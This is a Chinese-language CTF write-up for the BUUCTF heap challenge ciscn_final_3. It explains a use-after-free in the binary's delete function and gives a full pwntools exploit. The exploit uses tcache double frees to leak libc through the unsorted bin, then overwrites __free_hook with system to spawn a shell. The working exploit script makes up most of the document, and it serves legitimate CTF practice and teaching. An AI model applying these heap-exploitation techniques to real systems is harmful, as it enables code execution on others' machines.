buu刷题记录:ciscn_final_3

写在前面

今天解决了C++文件换版本的问题,也是一刻没耽误直接做了这道C++题目,不得不说太爽了啊,再也不用因为题目是C++写的就做不了了,话不多说来看文件。

静态分析elf文件

题目告知是ubuntu18版本的,给了libc.so.6文件,但是盲猜跟它自己的一样,那就先换好elf文件的版本。checksec观察保护全开。然后IDA打开一看,发现是经典的堆菜单题,提供了两种操作,add和delete。delete很明显free之后指针没有清零,存在UAF漏洞,并且add只允许下标开到0x18,也就是0~24总共能add 25次。然后大小限制在了fastbin大小的范围内,但是很贴心地,每次add之后给了malloc之后的地址。那么大概率通过这里泄露(ps:一开始并没有想到,还想着用IO泄露来着的),思路大概是先通过一次double free修改一个chunk的size为其它大小,然后free一次,再修改成非fastbin范围的堆块,并且防止堆块放入unsortedbin被check fail,最好不要构造堆相互重叠(这句话的意思差不多就是尽量让小堆块完全被大堆块包含,因为它会检测next chunk的)。然后出来了libc的地址之后准备好之前被free的堆块,add添加之后libc地址落入tcache中,再次add泄露这个地址,然后就很简单了,double free劫持free_hook为system函数,再free一个带有/bin/sh字符串的堆块即可getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

context.log_level='debug'
context.arch='amd64'
context.os='linux'
def conn(x,file_name,port):
if x:
p=process(file_name)
libc=ELF('./libc/libc-2.27-64.so')
else:
p=remote('node4.buuoj.cn',port)
libc=ELF('./libc/libc-2.27-buu64.so')
return ELF(file_name),libc,p

def add(index,size,payload):
p.sendlineafter(b'choice >',b'1')
p.sendlineafter(b'index',str(index))
p.sendlineafter(b'size',str(size))
p.sendafter(b'something',payload)
if index==11:return
p.recvuntil(b'0x')
#if index==11:gdb.attach(p)
return int(p.recvline()[:-1],16)

def free(index):
p.sendlineafter(b'choice >',b'2')
p.sendlineafter(b'index',str(index))

elf,libc,p=conn(0,'./ciscn_final_3',28019)
heap_addr=add(0,0x18,b'a'*0x8+p64(0))
free(0)
success('heap_addr:'+hex(heap_addr))
free(0)
#double free保存一个free的0x30堆块在0号堆块位置
add(1,0x18,p64(heap_addr-0x10))
add(2,0x18,b'/bin/sh\0')
add(3,0x18,b'\0'*8+p64(0x31))
free(0)
#free(0)

add(4,0x78,b'a'*0x78)
free(4)
free(4)
add(5,0x78,p64(heap_addr-0x10))
add(6,0x78,b'a')
add(7,0x78,p64(0)+p64(0xa1))#构造非fastbin大小的堆块
add(8,0x38,b'a')

for i in range(8):#填满tcache 使其落入unsorted bin
free(0)
add(9,0x28,b'aa')
libc_addr=add(10,0x28,b'\0')-0x3ebca0#泄露libc地址
success('libc_addr:'+hex(libc_addr))

add(11,0x60,b'a')
free(11)
free(11)
add(12,0x60,p64(libc_addr+libc.sym['__free_hook']))#劫持freehook
add(13,0x60,b'a')
add(14,0x60,p64(libc_addr+libc.sym['system']))
add(15,0x18,b'/bin/sh\0')
free(15)#getshell
#gdb.attach(p)
p.interactive()